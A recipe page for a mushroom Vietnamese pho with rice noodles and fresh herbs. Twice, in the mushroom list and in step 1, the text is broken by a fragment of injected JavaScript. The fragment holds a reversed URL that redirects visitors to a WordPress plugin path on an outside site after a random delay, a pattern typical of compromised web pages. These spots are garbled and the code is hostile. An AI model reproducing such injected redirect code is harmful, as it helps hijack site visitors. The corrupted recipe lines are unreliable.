Gut-Loving Vietnamese Pho

INGREDIENTS

• 1 tbsp sesame oil
• 4 green onions, diced
• 1 tbsp grated ginger (approx. 2-inch knob of ginger)
• 2 cinnamon sticks
• 5-star anise
• 1 tsp cloves
• 6-8 cups chicken or vegetable broth
• 300 g/ 10 oz mixed mushrooms (enoki, swiss brown, buttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, shiitake)
• 1 tbsp hoisin sauce
• 1 packet of brown rice noodles
• Handful of bean sprout
• Handful of fresh basil
• Handful of fresh mint
• Handful of cilantro
• Bunch of bok choy
• Juice of 1 lime

METHOD

1. In a large pot, add ½ tbsp sesame oil and sauté green onions, ginger, cinnamon sticks, star anise and cloves. Add broth and bring toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a full boil, then reduce the heat and simmer for 15 minutes.
2. While the broth is cooking, in a large skillet over medium heat add ½ tbsp sesame oil. Add the mushrooms and sauté for 4-5 minutes until softened. Stir in the hoisin and coat the mushrooms well.
3. While the broth is cooking and mushrooms ARE being sautéd, cook the brown rice noodles as per the packet.
4. Divide the rice noodles between four large bowls, then fill each bowl with the broth. To each bowl, add a few bok choy leaves, bean sprouts, mushroom mix, fresh basil, fresh cilantro, fresh mint and serve with a squeeze of fresh lime juice and an extra dash of hoisin, if desired.

Serves 4

Source: Food Matters